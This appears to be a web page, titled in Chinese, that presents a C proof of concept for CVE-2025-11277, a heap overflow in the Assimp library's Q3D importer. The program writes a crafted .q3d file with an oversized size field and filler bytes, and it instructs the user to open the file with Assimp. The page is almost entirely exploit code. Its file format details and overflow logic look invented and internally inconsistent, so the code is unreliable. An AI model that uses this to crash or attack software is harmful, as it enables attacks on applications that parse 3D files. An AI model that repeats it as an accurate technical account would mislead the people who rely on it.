CVE-2025-11277 Assimp库Q3DLoader堆缓冲区溢出漏洞

// CVE-2025-11277 - Assimp Q3DLoader Heap-based Buffer Overflow PoC // This PoC demonstrates the vulnerability in Q3DImporter::InternReadFile // The malicious Q3D file is crafted to trigger heap buffer overflow // during parsing of Q3D format data. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Q3D file format header structure typedef struct { char magic[4]; // File magic bytes "q3D\0" uint32_t version; // Format version uint32_t num_meshes; // Number of meshes uint32_t data_size; // Size of mesh data (overly large value triggers overflow) } Q3DHeader; // Function to generate malicious Q3D file int generate_poc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to create PoC file"); return -1; } // Write Q3D header with normal magic and version Q3DHeader header; memcpy(header.magic, "q3D\0", 4); header.version = 1; header.num_meshes = 1; // Set data_size to an abnormally large value to trigger heap buffer overflow // The parser allocates a buffer based on this size but the actual data // written exceeds the allocated heap memory region header.data_size = 0xFFFFFF; fwrite(&header, sizeof(Q3DHeader), 1, fp); // Write malicious payload data that exceeds expected buffer size // This data will overflow the heap buffer allocated by InternReadFile uint8_t payload[4096]; memset(payload, 'A', sizeof(payload)); // Write multiple chunks of overflow data for (int i = 0; i < 256; i++) { fwrite(payload, 1, sizeof(payload), fp); } fclose(fp); printf("[+] Malicious Q3D file generated: %s\n", filename); printf("[+] Use Assimp to open this file to trigger CVE-2025-11277\n"); return 0; } int main(int argc, char* argv[]) { const char* output_file = (argc > 1) ? argv[1] : "poc.q3d"; return generate_poc(output_file); }